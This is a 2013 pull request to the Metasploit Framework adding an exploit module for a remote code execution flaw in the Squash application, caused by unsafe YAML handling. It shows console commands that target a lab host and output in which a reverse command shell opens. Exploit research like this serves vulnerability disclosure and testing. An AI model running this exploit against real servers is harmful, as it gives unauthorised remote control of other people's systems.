rapid7/metasploit-framework — pull request #2194 by CharlieEriksen (2013-08-06 18:55:43+00:00)
Title: Squash remote code execution vulnerability

Hi,

I've found a remote code execution vulnerability in the Squash(Squash.io) application. This PR adds an exploit for the vulnerability, which is a YAML unpack vuln.

msf > use exploit/unix/webapp/squash_yaml_exec
msf exploit(squash_yaml_exec) > set RHOST 192.168.80.128
RHOST => 192.168.80.128
msf exploit(squash_yaml_exec) > set RPORT 3000
RPORT => 3000
msf exploit(squash_yaml_exec) > exploit

[*] Started reverse handler on 192.168.80.148:4444
[*] Command shell session 1 opened (192.168.80.148:4444 -> 192.168.80.128:55229) at 2013-08-06 14:42:57 -0400